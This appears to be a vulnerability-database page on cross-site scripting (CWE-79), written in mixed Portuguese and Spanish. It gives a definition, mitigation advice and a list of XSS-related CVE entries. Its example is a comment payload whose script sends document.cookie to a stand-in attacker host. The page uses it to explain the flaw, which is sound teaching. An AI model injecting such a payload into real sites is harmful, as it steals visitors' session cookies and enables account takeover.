Fallos del tipo CWE-79

28.989 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-1418LOWSourceCodester Friendly Island Pizza Website and Ordering System POST Parameter cashconfirm.php cross site scriptingEPSS 0.6%CVE-2022-41941MEDIUMglpi contains XSS Stored inside Standard Interface Help Link href attributeEPSS 0.6%CVE-2022-33943MEDIUMWordPress BxSlider WP plugin <= 2.0.0 - Authenticated Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2021-24471—YouTube Embed < 5.2.2 - Contributor+ Stored XSSEPSS 0.6%CVE-2026-57977HIGHMicrosoft Edge (Chromium-based) Spoofing VulnerabilityEPSS 0.6%CVE-2023-1106MEDIUMCross-site Scripting (XSS) - Reflected in flatpressblog/flatpressEPSS 0.6%CVE-2023-6775LOWCodeAstro POS and Inventory Management System item_con cross site scriptingEPSS 0.6%CVE-2024-2020HIGHCalculated Fields Form Professional <= 5.1.56 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-2630MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.6%CVE-2024-30987MEDIUMCross Site Scripting vulnerability in /bwdates-reports-ds.php of phpgurukul Client Management System using PHP & MySQL 1.1 allows attackers EPSS 0.6%CVE-2023-4534LOWNeoMind Fusion Platform Link cross site scriptingEPSS 0.6%CVE-2023-3469MEDIUMCross-site Scripting (XSS) - Reflected in thorsten/phpmyfaqEPSS 0.6%CVE-2021-33853—A Cross-Site Scripting (XSS) attack can cause arbitrary code (javascript) to run in a user’s browser while the browser is connected to a truEPSS 0.6%CVE-2023-2421LOWControl iD RHiD department cross site scriptingEPSS 0.6%CVE-2023-1783MEDIUMOrangeScrum 2.0.11 - AWS Credentials Leak via PDF RenderingEPSS 0.6%CVE-2024-21496MEDIUMAll versions of the package github.com/greenpau/caddy-security are vulnerable to Cross-site Scripting (XSS) via the Referer header, due to iEPSS 0.6%CVE-2024-30988MEDIUMCross Site Scripting vulnerability in /search-invoices.php of phpgurukul Client Management System using PHP & MySQL 1.1 allows attackers to EPSS 0.6%CVE-2022-4410MEDIUMPermalink Manager Lite <= 2.2.20.3 - Authenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-2397LOWSourceCodester Simple Mobile Comparison Website cross site scriptingEPSS 0.6%CVE-2021-24531—Charitable – Donation Plugin < 1.6.51 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.6%